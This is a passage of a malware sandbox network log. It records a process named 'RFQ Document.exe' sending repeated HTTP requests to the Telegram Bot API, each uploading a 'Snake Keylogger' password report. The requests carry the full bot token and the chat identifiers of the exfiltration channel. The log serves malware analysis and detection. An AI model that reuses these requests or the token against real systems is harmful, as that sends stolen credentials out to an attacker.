{"ok":true,"result":{"message_id":12914,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808805,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.4	50168	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:05 UTC	524	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fb8f9955 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:05 UTC	524	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 38 66 39 39 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fb8f9955Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:05 UTC	524	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:05 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:05 UTC	525	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12915,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808805,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.4	50169	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:05 UTC	525	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fbac356b Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:05 UTC	526	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 61 63 33 35 36 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fbac356bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:05 UTC	526	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:05 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:05 UTC	526	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12916,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808805,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.4	50170	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:05 UTC	527	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fbc66f63 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:05 UTC	527	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 63 36 36 66 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fbc66f63Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:05 UTC	528	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:05 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:05 UTC	528	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12917,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808805,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.4	50171	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:05 UTC	528	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fbe30b62 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:05 UTC	529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 65 33 30 62 36 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fbe30b62Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:06 UTC	529	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:06 UTC	529	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12918,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808806,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.4	50172	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:06 UTC	530	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fbffa78b Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:06 UTC	530	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 66 66 61 37 38 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fbffa78bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:06 UTC	531	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:06 UTC	531	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12919,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808806,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.4	50173	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:06 UTC	532	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fc19e195 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:06 UTC	532	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 63 31 39 65 31 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fc19e195Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:06 UTC	532	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:06 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12920,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808806,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.4	50174	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:06 UTC	533	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fc367db4 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:06 UTC	534	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 63 33 36 37 64 62 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fc367db4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:06 UTC	534	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:06 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12921,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808806,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.4	50175	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:06 UTC	535	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fc50b76f Host: api.telegram.org Content-Length: 407
